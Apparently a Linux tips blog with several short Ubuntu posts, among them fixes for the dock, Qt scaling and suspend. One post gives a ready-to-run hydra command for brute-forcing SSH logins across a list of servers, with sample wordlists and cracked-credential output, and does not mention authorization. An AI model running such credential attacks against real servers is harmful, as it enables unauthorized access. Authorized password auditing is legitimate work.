How to fix Ubuntu dock still visible while screen is locked on 18.04 and 18.10

A very stupid bug that has been there for quite a while! Luckilly the fix has been released recently into the proposed repository for both Bionic & Cosmic (Disco as well).

Just enable the proposed updates from Software & Updates -> Developer Options -> Pre-released updates, then run the following commands:

sudo apt update
sudo apt install gnome-shell-extension-ubuntu-dock

Hit Alt+F2, write r and then press Enter (works for Xorg only, not Wayland)

Enjoy!

Source: https://bugs.launchpad.net/ubuntu/+source/gnome-shell-extension-ubuntu-dock/+bug/1769383

Posted in Linux | Tagged , , , , , , | 2 Comments

Fix QT Apps scaling issue on hidpi screens on Ubuntu

On my 5k screen, all QT apps look very tiny, such as keepassxc and Virtualbox.

The best solution I found was adding the following to your .profile to autoscale at a ratio of 2 (you can change it to your preference):

export QT_SCALE_FACTOR=2

Set to 2 because my display settings are set to 2

Log out and back in, and there you go!

Tested on Ubuntu 18.10

Enjoy!

Sources: https://unix.stackexchange.com/questions/433385/scaling-hidpi-issue-for-qt5-applications-under-gnome

Posted in Linux | Tagged , , , , | 2 Comments

How to kill all processes accessing a filesystem on Ubuntu

This is not really safe, ok 😀 ? Do it on your own risk

lsof | grep /filesystem_name | awk '{print $2}' | xargs kill -9

That’s it, Enjoy!

Posted in Linux | Tagged , , , , , , | Leave a comment

How to use hydra to test/crack ssh credentials for a list of servers

To install hydra on Ubuntu:

sudo apt install hydra

Simply, to start our test/attack, we have a list of usernames, list of passwords and list of servers:

hydra -L users.txt -P passes.txt -u -M hosts.txt ssh -o Report.txt

Where:

users.txt is the file containing the user names, one per line, e.g.

root
user1
user2
user3

passes.txt is the list of passwords, one per line as well, e.g.

expectedpass1
expectedpass2
expectedpass3

hosts.txt is the list of IPs to test/attack, one per line, e.g.

192.168.100.20
192.168.20.24
10.165.34.56

Report.txt is the file containing the list of servers that could be cracked using values of users/passes/hosts from the files we provided, e.g.

[22][ssh] host: 192.168.100.21   login: root   password: expectedpass1
[22][ssh] host: 192.168.100.22 login: user1 password: expectedpass2
[22][ssh] host: 192.168.100.23 login: user2 password: expectedpass3

That’s it, Enjoy!

Sources: Mainly the hydra man page and some online forums

Posted in Linux | Tagged , , , | Leave a comment

How to resolve suspend/wake issues on Dell XPS with Ubuntu

Just append this to your kernel boot params:

mem_sleep_default=deep

Reboot, Enjoy!

Source: https://gist.github.com/greigdp/bb70fbc331a0aaf447c2d38eacb85b8f

Posted in Linux | Tagged , , , , | Leave a comment

Create an alias for microk8s.kubectl as kubectl on Ubuntu

sudo snap alias microk8s.kubectl kubectl

Sources:

https://github.com/ubuntu/microk8s/issues/20

Posted in Linux | Tagged , , | Leave a comment